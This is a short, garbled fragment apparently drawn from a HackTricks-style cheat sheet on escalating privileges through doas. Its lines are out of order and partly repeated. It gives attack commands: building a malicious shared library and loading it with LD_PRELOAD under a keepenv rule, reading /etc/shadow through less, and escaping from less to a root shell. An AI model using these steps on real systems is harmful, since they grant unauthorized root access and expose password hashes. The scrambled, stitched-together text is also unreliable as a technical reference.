Hacktricks Doas Apr 2026

gcc -shared -fPIC evil.c -o evil.so LD_PRELOAD=./evil.so doas -n id If doas is called with unsanitized user input in a script.

permit keepenv user1 as root Compile a malicious lib: hacktricks doas

Keep hacking. Keep escalating.

doas /usr/bin/less /etc/shadow # inside less: !/bin/sh Or Python bypass: gcc -shared -fPIC evil